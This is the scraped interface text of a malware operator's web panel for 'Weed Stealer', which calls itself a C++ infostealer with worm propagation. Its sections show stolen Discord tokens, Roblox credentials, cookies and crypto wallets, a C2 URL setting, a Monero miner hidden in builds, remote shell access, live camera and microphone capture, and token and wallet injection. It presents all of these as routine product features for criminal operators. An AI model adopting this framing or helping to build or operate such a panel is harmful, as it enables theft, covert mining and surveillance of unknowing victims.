STEALER

Welcome to WEED STEALER

Lightweight, C++-native infostealer with automated worm propagation. Sign in to manage builds, hits, and notifications.

Weed Stealer
user

Dashboard

Panel status, counters and latest hits straight from the server.

Total hits
0
with archive: 0
Today
0
since midnight
Archive size
0.0
MB · 0 archives

Latest hits

0 in table
ClientStatusCountryIPTypeMCMinerTimeActions

Hit Details

-

Screenshot

-
screenshot
no screenshot in this archive

System information

-

Connection info

-

Collected data

0 files

Discord intel

token → value
-

📈 Roblox Account

global name, username, email, robux, plus, password
Global Name
-
Username
-
Email
-
Robux
-
Plus
-
Probably Password
-
roblox cookies
-

Archive files

largest first
FileSizePackedDate

Account

Operator of this session. The JWT token sits in this browser's localStorage - nothing more is stored here.

Operator

Username
-
Operator id
-
Role
-
Campaign
-
C2 public url
-
End this session

Clears the token from this browser and returns to login. Other devices stay logged in.

Webhook alert

Test the alert channel - it goes to the webhook saved in Notification.

Notification

Your own channels: Discord webhook and Telegram bot. Every account has its own - your hits don't go to someone else's channel.

Discord Webhook

Post to your channel when a new log lands from your build.

Telegram Bot

Fallback for archives when webhook is down. Your bot, your chat id - the token is never echoed back, only the mask.

C2 public url

Address the implant gets in the build. Empty = auto from request.

Crypto worm (miner)

Every new build mines Monero on the victim's CPU in the background. You set the wallet and pool - everything gets baked into the exe at build time.

config.json obok exe jest kopiowany automatycznie (XMRig czyta go przy starcie).
Check pool website for actual balance

Build

C++ stealer compilation (native exe). Options below go into the build request.

Padding 0 MB

After building, self-update is pushed to all online machines.

Logs

All hits from the server. Click a row to open hit details.

total 0
visible 0

Hits

click row = details
ClientStatusCountryIPTypeMCMinerBrowsersCookiesWalletAppsTimeActions

Remote

Live view and commands on the live machine. Pick an agent - the rest goes through tasks.

idle
- -
pick an agent and press Screenshot or Live Start

GDI troll

effect on victim screen
seconds

Shell

-

Send file

File flies in one task up to ~12 MB, larger in 4 MB chunks.

Media live

Camera pulls frames one at a time, mic records clip by clip - sound comes with one clip of latency.

Discord Injection

Client tokens, web and login sessions. Scan runs every 3 min, login and password change go to webhook immediately.

total 0 new 0
WhatValueInfoSourceTime

Wallet Injection

Desktop wallets, extension vaults and exchange logins. Same scan every 2 h.

total 0 new 0
WhatValueInfoSourceTime